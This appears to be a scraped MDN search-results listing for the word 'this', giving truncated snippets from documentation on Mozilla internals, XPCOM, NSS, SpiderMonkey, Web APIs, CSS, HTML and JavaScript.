this may take some time depending on your connection speed; the total size of the mozilla and microsoft symbols download is around 1.4gb.
...And 9 more matches
AddonInstall
this can be canceled at any time with the cancel() method.
... releasenotesuri nsiuri the uri of release notes for
this install.
... error integer if an error has been encountered during the download or install
this will hold the error code.
...And 9 more matches
Interfacing with the Add-on Repository
this article provides some sample code that queries the recommended add-ons list on amo and lets the user click a button to install an add-on from the list.
... importing the repository code module before you can use the add-on repository api, you need to import the code module: components.utils.import("resource://gre/modules/addonrepository.jsm"); having done
this, you can then access the api through the resulting addonrepository object.
...to make the service work for the time being, you can use code like
this when your extension starts up: var prefsservice = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.nsiprefservice); var prefbranch = prefsservice.getbranch("extensions."); var recurl = ""; try { recurl = prefbranch.getcharpref("getaddons.recommended.url"); } catch(e) { recurl = ""; } if (recurl == "") { prefbranch.setcharpref("getaddons.recommended.url", "https://services.addons.mozilla.org/%locale%/%app%/api/%...
...And 9 more matches
Promise.jsm
this module was used before dom promises were made globally available in gecko 29.
...utils.import("resource://gre/modules/promise.jsm"); note: a preliminary promise module is also available starting from gecko 17, though it didn't conform to the promises/a+ proposal until gecko 25: components.utils.import("resource://gre/modules/commonjs/promise/core.js"); // gecko 17 to 20 components.utils.import("resource://gre/modules/commonjs/sdk/core/promise.js"); // gecko 21 to 24
this implementation also includes helper functions that are specific to the add-on sdk.
... while you may still import
this module from the above paths, the recommended way for loading it is through the add-on sdk loader.
...And 9 more matches
Task.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/task.jsm"); introduction for an introduction to tasks, you may start from the task.js documentation, keeping in mind that only the core subset is implemented in
this module.
...
this reduces the syntax overhead of calling task.spawn() explicitly when you want to recurse into other task functions.
...
this comes in handy when iterating over function lists where some items have been converted to tasks and some not.
...And 9 more matches
Bootstrapping a new locale
this document will give you the basic information on how to do that.
... $ sudo easy_install compare-locales
this will download and install the utility.
...
this is done by cloning the en-us (united states english) files into your localization.
...And 9 more matches
Localization formats
warning:
this document pertains to the development of mozilla web sites and not to the development of gecko-based extensions or applications.
... is
this a long-term project with continuous updates to content?
... is
this a long-term project with stable content?
...And 9 more matches
Mozilla Quirks Mode Behavior
(
this also applies to getelementsbyclassname.) stylesheets linked in the document with an advisory mime type of text/css will still be treated as css even if the server gives a content-type header other than text/css.
...
this behavior is being removed in firefox 27, for interoperability.
... obsolete since gecko 35 (firefox 35.0 / thunderbird 35.0 / seamonkey 2.32) (bug 95530)
this quirk is now html5 conform and has been adopted in standards mode.
...And 9 more matches
Scroll-linked effects
this article discusses scroll-linked effects, their effect on performance, related tools, and possible mitigation techniques.
...
this means that the effects implemented will lag a little bit behind what the user sees the scroll position to be.
...
this can cause the effect to be laggy, janky, or jittery — in short, something we want to avoid.
...And 9 more matches
Optimizing Applications For NSPR
this has proven to be quite challenging, a challenge that was met to a large degree, but there is always room for improvement.
...
this memo is by no way complete.
...the only exception to
this rule is the <tt>select()</tt> and <tt>poll()</tt> system calls on unix, both of which nspr has overridden to make sure they are aware of the nspr local threads.
...And 9 more matches
An overview of NSS Internals
multiple elements of nss's own modules have been implemented with
this interface, and nss makes use of
this interface when talking to those modules.
...
this strategy allows nss to work with many hardware devices (e.g., to speed up the calculations required for cryptographic operations, or to access smartcards that securely protect a secret key) and software modules (e.g., to allow to load such modules as a plugin that provides additional algorithms or stores key or trust information) that implement the pkcs#11 interface.
...
this is often sufficient if you encrypt data for yourself, but as soon as you need to exchange signed/encrypted data with communication partners, using public key encryption simplifies the key management.
...And 9 more matches
NSS Certificate Download Specification
this document describes the data formats used by nss 3.x for installing certificates.
...
this document is currently being revised and has not yet been reviewed for accuracy.
...they are: der encoded certificate:
this is a single binary der encoded certificate.
...And 9 more matches
NSS 3.28 release notes
this includes a number of improvements to tls 1.3: the signed certificate timestamp, used in certificate transparency, is supported in tls 1.3 (bug 1252745).
...
this includes the early key exporter, which can be used if 0-rtt is enabled.
...
this api is equivalent in function to ssl_exportkeyingmaterial, but it can only succeed if 0-rtt was attempted (on the client) or accepted (on the server).
...And 9 more matches
nss tech note5
note:
this document contains code snippets that focus on essential aspects of the task and often do not illustrate all the cleanup that needs to be done.
... also,
this document does not attempt to be an exhaustive survey of all possible ways to do a certain task; it merely tries to show a certain way.
...ta</big> <big>secstatus s = pk11_digestbegin(digestcontext); s = pk11_digestop(digestcontext, data, sizeof data); s = pk11_digestfinal(digestcontext, digest, &len, sizeof digest); /* now, digest contains the 'digest', and len contains the length of the digest */</big> clean up pk11_destroycontext(digestcontext, pr_true); you can also look at a sample program illustrating
this hash / digest with secret key included include headers #include "nss.h" #include "pk11pub.h" make sure nss is initialized.the simplest init function, in case you don't need a nss database is nss_nodb_init(".") choose a digest mechanism.
...And 9 more matches
GC Rooting Guide
introduction
this guide explains the basics of interacting with spidermonkey's gc as a spidermonkey api user.
... spidermonkey's rooting api tries to make
this task as simple as possible.
... the main types of gc thing pointer are: js::value jsobject* jsstring* jsscript* jsid note that js::value and jsid can contain pointers internally even though they are not a normal pointer type, hence their inclusion in
this list.
...And 9 more matches
JS::CallArgs
this article covers features introduced in spidermonkey 17 helper class encapsulating access to the callee,
this value, arguments, and argument count for a function call.
... js::handlevalue
thisv() const returns the
this value passed to the function.
...
this method must not be called when the function is being called as a constructor via new.
...And 9 more matches
JS_GetGCParameter
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this does not affect generational gc, see jsgc_max_nursery_bytes jsgc_unused_chunks / "unusedchunks" number of cached empty gc chunks.
... jsgc_high_frequency_time_limit / "highfrequencytimelimit" gcs less than
this far apart in time will be considered 'high-frequency gcs'.
...And 9 more matches
Setting up an update server
the goal of
this document is to provide instructions for installing a locally-served firefox update.
...
this is a security measure designed to prevent anyone from serving malicious updates.
...these changes will need to be made in order to use the locally built mar: put
this line in the mozconfig file in root of the build directory (create it if it does not exist): ac_add_options --disable-verify-mar several files contain a line that must be uncommented.
...And 9 more matches
Signing Mozilla apps for Mac OS X
firefox and thunderbird releases are both signed before shipping;
this article describes the process.
...on mac os x, part of
this infrastructure is automatic signing of the ".app" folder using apple's codesign tool.
... for projects that don't use mozilla's release automation and would like to be signed for secure launching on os 10.8 mountain lion and later,
this guide should provide some insight into how to make sure applications are signed correctly using apple's codesign tool.
...And 9 more matches
Animated PNG graphics
this implies that some errors may not be detected until partway through the animation.
...the purpose of
this number is to detect (and optionally correct) sequence errors in an animated png, since the png specification does not impose ordering restrictions on ancillary chunks.
... 4 num_plays unsigned int the number of times to loop
this apng.
...And 9 more matches
Gecko states
indicates
this object is the child of an object that allows its children to be selected and that
this child is one of those children that has been selected.
... isn't used state_default
this state represents the default button in a window.
... state_expanded children of
this object that have the role_outlineitem role are displayed.
...And 9 more matches
Preface
next »
this is a book about gecko, and about creating xpcom components for gecko-based applications.
... who should read
this book no one.
...as
this name implies, xpcom is similar to microsoft com.
...And 9 more matches
Detailed XPCOM hashtable guide
this is the long version of xpcom hashtable guide.
...
this entry struct should contain whatever data you wish to store in the hashtable (any pointer or fixed-length data type).
...
this serves similarly to a vtable in c++, with pointers to appropriate user-defined functions that initialize, compare, and match entries.
...And 9 more matches
XPCShell Reference
the command line the command-line syntax for xpcshell is: xpcshell [-s] [-w] [-w] [-v version] [-f scriptfile] [scriptfile] [scriptarg...] -c
this option turns on the "compile-only" mode.
... (setting
this option disables the "interactive" mode) -f
this option specifies a script file to execute.
... -g
this option specifies which gecko runtime environment directory (gredir) to use for xpcom.
...And 9 more matches
nsAString (External)
class declaration
this header provides wrapper classes around the frozen string api which are roughly equivalent to the internal string classes.
... @param newsize size the string to
this length.
... other operator!= prbool operator!=(const nsastring&) const - source parameters nsastring& other prbool operator!=(const prunichar*) const - source parameters prunichar* other equalsliteral prbool equalsliteral(const char*) const - source parameters char* aasciistring lowercaseequalsliteral prbool lowercaseequalsliteral(const char*) const - source case-insensitive match
this string to a lowercase ascii string.
...And 9 more matches
nsICookiePermission
the nsicookiepermission interface is used to test for cookie permissions netwerk/cookie/nsicookiepermission.idlscriptable please add a summary to
this article.
...nguri(in nsichannel achannel); void setaccess(in nsiuri auri, in nscookieaccess aaccess); constants constant value description access_default 0 nscookieaccess's access default value access_allow 1 nscookieaccess's access allow value access_deny 2 nscookieaccess's access deny value access_session 8 additional values for nscookieaccess, which are not directly used by any methods on
this interface, but are nevertheless convenient to define here.
... these may be relocated somewhere else if we ever consider freezing
this interface.
...And 9 more matches
nsICookieService
this separation of interface is mainly historical.
... var cookiesvc = components.classes["@mozilla.org/cookieservice;1"] .getservice(components.interfaces.nsicookieservice); notifications
this service broadcasts the following notifications when the cookie list is changed, or a cookie is rejected: topic subject data cookie-changed broadcast whenever the cookie list changes in some way.
... there are four possible data strings for
this notification; one notification will be broadcast for each change.
...And 9 more matches
nsIDOMChromeWindow
dom/interfaces/base/nsidomchromewindow.idlscriptable
this interface is implemented on the window object in chrome.
...
this method tells the window manager to start dragging the window.
...
this method will fail unless called while the left mouse button is held down, callers must check
this.
...And 9 more matches
nsIMemory
xpcom/base/nsimemory.idlscriptable
this interface represents a generic memory allocator.
...
this may be null, in which case nothing happens.
...a particular nsimemory instance may choose not to implement
this method.
...And 9 more matches
nsIMsgIncomingServer
cancreatefoldersonserver boolean candelete boolean can
this server be removed from the account manager?
...by default
this value is set to true via global pref 'allows_specialfolders_usage' (mailnews.js).
...if isps want to modify
this value, they should do that in their rdf file by using
this attribute.
...And 9 more matches
nsIPropertyBag2
xpcom/ds/nsipropertybag2.idlscriptable
this interface extends nsipropertybag with some methods for getting properties in specific formats.
... print32 getpropertyasint32(in astring prop); print64 getpropertyasint64(in astring prop); void getpropertyasinterface(in astring prop, in nsiidref iid, [iid_is(iid), retval] out nsqiresult result); pruint32 getpropertyasuint32(in astring prop); pruint64 getpropertyasuint64(in astring prop); prbool haskey(in astring prop); methods get()
this method returns null if the value does not exist, or exists but is null.
...note: accessing a property of a different type may attempt conversion to
this type.
...And 9 more matches
nsITreeBoxObject
/layout/xul/base/src/tree/public/nsitreeboxobject.idlscriptable please add a summary to
this article.
...it is dynamically settable, either using a view attribute on the tree tag or by setting
this attribute to a new value.
...
this is a node that corresponds to the treechildren tag.
...And 9 more matches
nsITreeSelection
layout/xul/base/src/tree/public/nsitreeselection.idlscriptable
this interface is used by the tree widget to get information about what is selected.
...elected(in long index); void rangedselect(in long startindex, in long endindex, in boolean augment); void select(in long index); void selectall(); void timedselect(in long index, in long delay); void toggleselect(in long index); attributes attribute type description count long the number of rows currently selected in
this tree.
... note:
this property indicates only the index of the row with tree cursor around it.
...And 9 more matches
nsIUpdateItem
1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)
this interface is obsolete; instead of using the extension manager, you should use the addon manager.
...n astring version, in astring installlocationkey, in astring minappversion, in astring maxappversion, in astring name, in astring downloadurl, in astring xpihash, in astring iconurl, in astring updateurl, in astring updatekey, in long type, in astring targetappid); attributes attribute type description iconurl astring the url of the icon that can be shown for
this item.
... installlocationkey astring the name of the install location where
this item is installed.
...And 9 more matches
XPCOM reference
this reference describes the interfaces and functions provided by the xpcom library.
...rss feeds are implemented by nslocalmailfolder.ns ensure successmacrons ensure truemacrons_abort_if_false
this was removed in bug 1127201ns_addrefmacrons_assertionmacrons_ensure_arg_pointermacrons_errorthrows a assertion (ns_assertion) with the text "error: (error text)", so writes
this text to console (stderr) and to debug logs (nspr logging).
...
this macro is meant for critical errors; like assertions, ns_errors should not be reachable.ns_if_addrefmacrons_if_releasemacrons_releasemacrons_warningmacronsgetmoduleproc
this function prototype provides the xpcom entry-point into a module.nsiabcard/thunderbird3the nsiabcard interface is used to represent and manipulate cards in the address book.
...And 9 more matches
Creating a gloda message query
this content covers features introduced in thunderbird 3
this page describes how to programmatically create a message query using gloda, thunderbird's global database.
...in theory, providing no arguments should result in finding messages with any attachment, but
this is somewhat untested.
...
this is a locally unique identifier.
...And 9 more matches
The libmime module
warning: the content of
this article may be out of date.
...pizzarro <rhp@netscape.com>
this module, libmime, implements a general-purpose mime parser.
... one of the methods provided by
this parser is the ability to emit an html representation of the data stream.
...And 9 more matches
Adding items to the Folder Pane
this tutorial examines how to add items to an existing folder pane view.
...when
this happens, the folder pane consults the map-generator for the current mode, and that generator returns the necessary data for the folder pane's display.
...
this data is returned in the form of an array of folder-tree-items.
...And 9 more matches
CType
for primitive types,
this is just the name of the corresponding c type.
... for structure and opaque pointer types,
this is simply the string that was passed to the constructor.
... for other function, pointer, and array types,
this should be a valid c type expression.
...And 9 more matches
PointerType
this can be any ctype object to declare the new type as a pointer to that type.
... examples creating a type "pointer to 32-bit integer" looks like
this: var intptrtype = new ctypes.pointertype(ctypes.int32_t); properties property type description targettype ctype the type of object the pointer points to.
... for primitive types,
this is just the name of the corresponding c type.
...And 9 more matches
Allocations - Firefox Developer Tools
for performance
this is important mostly because allocating a lot of memory, or making a lot of allocations, can trigger garbage collection.
...
this in turn can hurt the responsiveness of a page.
...then record a profile as usual, and you will see a new tab labeled "allocations" in the toolbar: anatomy of the allocations view the allocations view looks something like
this: the allocations view periodically samples allocations that are made over the recording.
...And 9 more matches
Using the CSS Typed Object Model - Web APIs
this article provides an introduction to all of its main features.
...let's see how
this works by creating our first example, which explores computedstylemap().
...
this subclass gives you a value property via csskeywordvalue.value.
...And 9 more matches
Manipulating video using canvas - Web APIs
this tutorial demonstrates how to perform chroma-keying (also known as the "green screen effect") using javascript code.
... the document content the html document used to render
this content is shown below.
...3b; } </style> </head> <body> <div> <video id="video" src="media/video.mp4" controls="true" crossorigin="anonymous"/> </div> <div> <canvas id="c1" width="160" height="96"></canvas> <canvas id="c2" width="160" height="96"></canvas> </div> <script type="text/javascript" src="processor.js"></script> </body> </html> the key bits to take away from
this are:
this document establishes two canvas elements, with the ids c1 and c2.
...And 9 more matches
Advanced animations - Web APIs
in
this part we will have a closer look at the motion itself and are going to add some physics to make our animations more advanced.
... var canvas = document.getelementbyid('canvas'); var ctx = canvas.getcontext('2d'); var ball = { x: 100, y: 100, radius: 25, color: 'blue', draw: function() { ctx.beginpath(); ctx.arc(
this.x,
this.y,
this.radius, 0, math.pi * 2, true); ctx.closepath(); ctx.fillstyle =
this.color; ctx.fill(); } }; ball.draw(); nothing special here, the ball is actually a simple circle and gets drawn with the help of the arc() method.
... adding velocity now that we have a ball, we are ready to add a basic animation like we have learned in the last chapter of
this tutorial.
...And 9 more matches
Constraint validation API - Web APIs
this can be done using the constraint validation api.
... invalid event
this event type is fired at a form control element if the element does not satisfy its constraints.
...
this will be displayed in the ui if the element is the only form control with a validity problem; if a custom error message is set using setcustomvalidity(),
this will be shown.
...And 9 more matches
CustomEvent - Web APIs
note:
this feature is available in web workers.
...
this interface inherits properties from its parent, event: event.bubbles read only a boolean indicating whether or not the event bubbles up through the dom.
...
this is the object to which the event is currently slated to be sent.
...And 9 more matches
Examples of web and XML development using the DOM - Web APIs
this chapter provides some longer examples of web and xml development using the dom.
...> <p> <img id="img1" src="image1.gif" style="border: 5px solid green;" width="100" height="100" alt="border test"> </p> <form name="formname"> <input type="button" value="make border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in
this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, which can be retrieved and set from the dom.
... in
this case, you are manipulating the individual styles directly.
...And 9 more matches
Element.innerHTML - Web APIs
let contents = myelement.innerhtml;
this lets you look at the html markup of the element's content nodes.
... for example, you can erase the entire contents of a document by clearing the contents of the document's body attribute: document.body.innerhtml = "";
this example fetches the document's current html markup and replaces the "<" characters with the html entity "<", thereby essentially converting the html into raw text.
...
this is then wrapped in a <pre> element.
...And 9 more matches
HTMLFormElement - Web APIs
pi/htmlformelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlformelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties
this interface also inherits properties from its parent, htmlelement.
... htmlformelement.elements read only a htmlformcontrolscollection holding all form controls belonging to
this form element.
... htmlformelement.autocomplete a domstring reflecting the value of the form's autocomplete html attribute, indicating whether the controls in
this form can have their values automatically populated by the browser.
...And 9 more matches
Dragging and Dropping Multiple Items - Web APIs
the drag processing described in
this document use the datatransfer interface.
...
this processing does not use the datatransferitem interface nor the datatransferitemlist interface.
...
this function similarly to setdata() var dt = event.datatransfer; dt.mozsetdataat("text/plain", "data to drag", 0); dt.mozsetdataat("text/plain", "second data to drag", 1);
this example adds two items to be dragged.
...And 9 more matches
Using the MediaStream Recording API - Web APIs
this article aims to provide a basic guide on how to use the mediarecorder interface, which provides
this api.
...we'll concentrate on the recording and playback functionality for
this article.
... you can see
this demo running live, or grab the source code on github.
...And 9 more matches
Node - Web APIs
node.childnodesread only returns a live nodelist containing all the children of
this node.
... node.ownerdocumentread only returns the document that
this node belongs to.
... node.parentnoderead only returns a node that is the parent of
this node.
...And 9 more matches
Service Worker API - Web APIs
note: service workers win over previous attempts in
this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything.
...the promises architecture is ideal for
this.
... download, install and activate at
this point, your service worker will observe the following lifecycle: download install activate the service worker is immediately downloaded when a user first accesses a service worker–controlled site/page.
...And 9 more matches
Streams API - Web APIs
this is something browsers do anyway when receiving assets to be shown on webpages — videos buffer and more is gradually available to play, and sometimes you'll see images display gradually as more is loaded.
... but
this has never been available to javascript before.
... with streams being available to javascript,
this all changes — you can now start processing raw data with javascript bit by bit as soon as it is available on the client-side, without needing to generate a buffer, string, or blob.
...And 9 more matches
Introduction to the Real-time Transport Protocol (RTP) - Web APIs
this article provides an overview of what rtp is and how it functions in the context of webrtc.
...
this lets data sent using rtp be delivered on transports that don't guarantee ordering or even guarantee delivery at all.
...
this means rtp can be — but is not required to be — used atop udp for its performance as well as its multiplexing and checksum features.
...And 9 more matches
Writing WebSocket client applications - Web APIs
note:
this feature is available in web workers.
... note: the example snippets in
this article are taken from our websocket chat client/server sample.
... creating a websocket object in order to communicate using the websocket protocol, you need to create a websocket object;
this will automatically attempt to open the connection to the server.
...And 9 more matches
Fundamentals of WebXR - Web APIs
in
this guide, we provide a fundamental overview of what webxr is and how it works, as well as providing a foundation for what you'll need to know before you even begin to learn to develop augmented reality and virtual reality experiences for the web.
...
this includes both managing the process of rendering the views needed to simulate the 3d experience and the ability to sense the movement of the headset or other motion sensing apparatus to provide the needed data to let you update the imagery shown to the user based on that movement.
...
this is an important fact to keep in mind; while webxr manages the timing, scheduling, and the various points of view relevant when drawing the scene, it does not actually know how to load and manage models, render and texture them, and so forth.
...And 9 more matches
XRReferenceSpace.getOffsetReferenceSpace() - Web APIs
this is demonstrated in the example implementing rotation based on non-xr inputs, which demonstrates a way to use
this method to let the user use their mouse to pitch and yaw their viewing angle.
... if the object on which you call
this method is an xrboundedreferencespace, the returned object is one as well.
... xrsession.requestreferencespace("local") .then((refspace) => { xrreferencespace = refspace; xrreferencespace = xrreferencespace.getoffsetreferencespace( new xrrigidtransform(startposition, {x:0, y:0, z:1.0, w: 1.0})); xrsession.requestanimationframe(drawframe); }); in
this code, we obtain a local reference space, then use getoffsetreferencespace() to create a new space whose origin is adjusted to a position given by startposition and whose orientation is looking directly along the z azis.
...And 9 more matches
Text labels and names - Accessibility
there are a number of different types of problems in
this category, found in different contexts, and each has its own solution.
...
this includes the <embed> and <object> elements.
...the alt attribute of the <img> describes the appearance of the image; the <figcaption> describes it from a functional perspective (in
this case, the latin name of the flower in the image).
...And 9 more matches
Box alignment in Flexbox - CSS: Cascading Style Sheets
the box alignment specification details how alignment works in various layout methods; on
this page, we explore how box alignment works in the context of flexbox.
... as
this page aims to detail things which are specific to flexbox and box alignment, it should be read in conjunction with the main box alignment page which details the common features of box alignment across layout methods.
... basic example in
this example, three flex items are aligned on the main axis using justify-content and on the cross axis using align-items.
...And 9 more matches
Using CSS transitions - CSS: Cascading Style Sheets
this allows the creation of complex transitions.
...some user agents, like those based on gecko, implement
this requirement and others, like those based on webkit, are less strict.
...
this is the best way to configure transitions, as it makes it easier to avoid out of sync parameters, which can be very frustrating to have to spend lots of time debugging in css.
...And 9 more matches
background-size - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...before
this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.
...
this is non-standard behavior.
...And 9 more matches
clamp() - CSS: Cascading Style Sheets
clamp(min, val, max) is resolved as max(min, min(val, max)) the source for
this interactive example is stored in a github repository.
...
this is the lower bound in the range of allowed values.
... if the preferred value is less than
this value, the minimum value will be used.
...And 9 more matches
Adapting to the new two-value syntax of display - CSS: Cascading Style Sheets
this guide explains the change to the syntax, including the reasoning behind
this change.
...you can see
this if you take a <span> — normally an inline-level element — and apply display: flex to it.
...you can now use justify-content: space-between; to put
this space between the two flex items.
...And 9 more matches
font-variant-alternates - CSS: Cascading Style Sheets
this property allows those human-readable names (defined in @font-feature-values) in the stylesheet.
... syntax
this property may take one of two forms: either the keyword normal or one or more of the other keywords and functions listed below, space-separated, in any order.
... values normal
this keyword deactivates alternate glyphs.
...And 9 more matches
justify-items - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... the effect of
this property is dependent of the layout mode we are in: in block-level layouts, it aligns the items inside their containing block on the inline axis.
... in table cell layouts,
this property is ignored (more about alignment in block, absolute positioned and table layout) in flexbox layouts,
this property is ignored (more about alignment in flexbox) in grid layouts, it aligns the items inside their grid areas on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-items: auto; justify-items: normal; justify-items: stretch; /* positional alignment */ justify-items: center; /* pack items around the center */ justify-items: start; /* pack items from the start */ justify-items: end; /* pack items from the end */ justif...
...And 9 more matches
justify-self - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... the effect of
this property is dependent of the layout mode we are in: in block-level layouts, it aligns an item inside its containing block on the inline axis.
... in table cell layouts,
this property is ignored (more about alignment in block, absolute positioned and table layout) in flexbox layouts,
this property is ignored (more about alignment in flexbox) in grid layouts, it aligns an item inside its grid area on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-self: auto; justify-self: normal; justify-self: stretch; /* positional alignment */ justify-self: center; /* pack item around the center */ justify-self: start; /* pack item from the start */ justify-self: end; /* pack item from the end */ justify-self: flex-start...
...And 9 more matches
HTML attribute: rel - HTML: Hypertext Markup Language
in
this case, on <link> and <form>, if the rel attribute is absent, has no keywords, or if not one or more of the space-separated keywords above, then the element does not create any links.
... note: apple's ios does not use
this link type, nor the sizes attribute, like others mobile browsers do, to select a webpage icon for web clip or a start-up placeholder.
... the shortcut link type is often seen before icon, but
this link type is non-conforming, ignored and web authors must not use it anymore.
...And 9 more matches
<body>: The Document Body element - HTML: Hypertext Markup Language
attributes
this element includes the global attributes.
...
this method is non-conforming, use css color property in conjunction with the :active pseudo-class instead.
...
this method is non-conforming, use css background property on the element instead.
...And 9 more matches
<hr>: The Thematic Break (Horizontal Rule) element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... historically,
this has been presented as a horizontal rule or line.
... while it may still be displayed as a horizontal rule in visual browsers,
this element is now defined in semantic terms, rather than presentational terms, so if you wish to draw a horizontal line, you should do so using appropriate css.
...And 9 more matches
<input type="color"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...
this makes sense when you keep in mind that html and css are separate languages and specifications.
...because users can write colors in many different ways (such as rgb(255, 255, 0)), one way to work around
this is to set a pattern attribute equal to either #[0-9a-f]{6} or #[0-9a-fa-f]{6} (preferably the latter because some users may not expect a different result with just a letter-case change) and set a placeholder attribute equal to a color representing the expected format of the user's input, such as #ff0000.
...And 9 more matches
<p>: The Paragraph element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... implicit aria role no corresponding role permitted aria roles any dom interface htmlparagraphelement attributes
this element only includes the global attributes.
... example html <p>
this is the first paragraph of text.
...And 9 more matches
<select>: The HTML Select element - HTML: Hypertext Markup Language
the html <select> element represents a control that provides a menu of options: the source for
this interactive example is stored in a github repository.
... attributes
this element includes the global attributes.
... autofocus
this boolean attribute lets you specify that a form control should have input focus when the page loads.
...And 9 more matches
X-DNS-Prefetch-Control - HTTP
this prefetching is performed in the background, so that the dns is likely to have been resolved by the time the referenced items are needed.
...
this reduces latency when the user clicks a link.
...
this is what browsers do, if they support the feature, when
this header is not present off disables dns prefetching.
...And 9 more matches
InternalError: too much recursion - JavaScript
this is called a base case.
...both execute the same code multiple times, and both require a condition (to avoid an infinite loop, or rather, infinite recursion in
this case).
... when there are too many function calls, or a function is missing a base case, javascript will throw
this error.
...And 9 more matches
Array.from() - JavaScript
the source for
this interactive example is stored in a github repository.
... syntax array.from(arraylike [, mapfn [,
thisarg]]) parameters arraylike an array-like or iterable object to convert to an array.
...
thisarg optional value to use as
this when executing mapfn.
...And 9 more matches
Array - JavaScript
since an array's length can change at any time, and data can be stored at non-contiguous locations in the array, javascript arrays are not guaranteed to be dense;
this depends on how the programmer chooses to use them.
... remove apple from the front // ["banana"] add an item to the beginning of an array let newlength = fruits.unshift('strawberry') // add to the front // ["strawberry", "banana"] find the index of an item in the array fruits.push('mango') // ["strawberry", "banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) //
this is how to remove an item // ["strawberry", "mango"] remove items from an index position let vegetables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vegetables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removeditems = vegetables.splice(pos, n) //
this is how to remove items, n defines the number of items to be removed, // starting at the index position ...
... console.log(vegetables) // ["cabbage", "carrot"] (the original array is changed) console.log(removeditems) // ["turnip", "radish"] copy an array let shallowcopy = fruits.slice() //
this is how to make a copy // ["strawberry", "mango"] accessing array elements javascript arrays are zero-indexed.
...And 9 more matches
JSON.stringify() - JavaScript
the source for
this interactive example is stored in a github repository.
...if
this value is null or not provided, all properties of the object are included in the resulting json string.
... if
this is a number, it indicates the number of space characters to use as white space;
this number is capped at 10 (if it is greater, the value is just 10).
...And 9 more matches
Object.prototype.constructor - JavaScript
note that the value of
this property is a reference to the function itself, not a string containing the function's name.
... function tree(name) {
this.name = name } let thetree = new tree('redwood') console.log('thetree.constructor is ' + thetree.constructor)
this example displays the following output: thetree.constructor is function tree(name) {
this.name = name } changing the constructor of an object the following example shows how to modify the constructor value of generic objects.
...
this example shows that it is not always safe to rely on the constructor property of an object.
...And 9 more matches
Lexical grammar - JavaScript
this page describes javascript's lexical grammar.
...
this can make it easier to read and understand.
... they can also be used to disable code to prevent it from being executed;
this can be a valuable debugging tool.
...And 9 more matches
delete operator - JavaScript
the source for
this interactive example is stored in a github repository.
... as such, delete cannot delete any functions in the global scope (whether
this is part from a function definition or a function expression).
...
this includes properties of built-in objects like math, array, object and properties that are created as non-configurable with methods like object.defineproperty().
...And 9 more matches
async function - JavaScript
the source for
this interactive demo is stored in a github repository.
...in
this way, an async function without an await expression will run synchronously.
...in
this way a promise chain is progressively constructed with each reentrant step through the function.
...And 9 more matches
JavaScript typed arrays - JavaScript
this is where typed arrays come in.
...
this is useful for canvas data processing, for example.
...
this is useful when dealing with different types of data, for example.
...And 9 more matches
Media container formats (file types) - Web media technologies
in
this guide, we'll look at the container formats used most commonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.
...a good example of
this is the mp3 audio file, which is in fact an mpeg-1 container with a single audio track encoded using mpeg-1 audio layer iii encoding.
... index of media container formats (file types) to learn more about a specific container format, find it in
this list and click through to the details, which include information about what the container is typically useful for, what codecs it supports, and which browsers support it, among other specifics.
...And 9 more matches
Mapping the width and height attributes of media container elements to their aspect-ratio - Web media technologies
this article explains a change that has occured in the way sizes are worked out on web documents when width and height attributes are set on them.
...
this change means that the aspect ratio of the image is calculated by the browser early on and can then be used to correct the size needed to display the image before it has loaded, if css has been applied that causes problems with its display size.
...
this wasn't an attractive thing for your users to see, and could also result in performance issues due to the repainting required after each image loads, hence adding the attributes being a good idea.
...And 9 more matches
Making PWAs work offline with Service workers - Progressive web apps (PWAs)
in
this article, we look at how it is used in our js13kpwa example (see the source code also).
...
this introduces a different approach from traditional web programming — the api is non-blocking, and can send and receive communication between different contexts.
...it returns a promise —
this approach is needed because installing may take some time, so we have to wait for it to finish.
...And 9 more matches
in - SVG: Scalable Vector Graphics
if no value is provided and
this is the first filter primitive, then
this filter primitive will use sourcegraphic as its input.
... if no value is provided and
this is a subsequent filter primitive, then
this filter primitive will use the result from the previous filter primitive as its input.
... fourteen elements are using
this attribute: <feblend>, <fecolormatrix>, <fecomponenttransfer>, <fecomposite>, <feconvolvematrix>, <fediffuselighting>, <fedisplacementmap>, <fedropshadow>, <fegaussianblur>, <femergenode>, <femorphology>, <feoffset>, <fespecularlighting>, <fetile> usage notes value sourcegraphic | sourcealpha | backgroundimage | backgroundalpha | fillpaint | strokepaint | <filter-primitive-reference> default value sourcegraphic for first filter primitive, otherwise result of previous filter primitive animatable yes sourcegraphic ...
...And 9 more matches
<pattern> - SVG: Scalable Vector Graphics
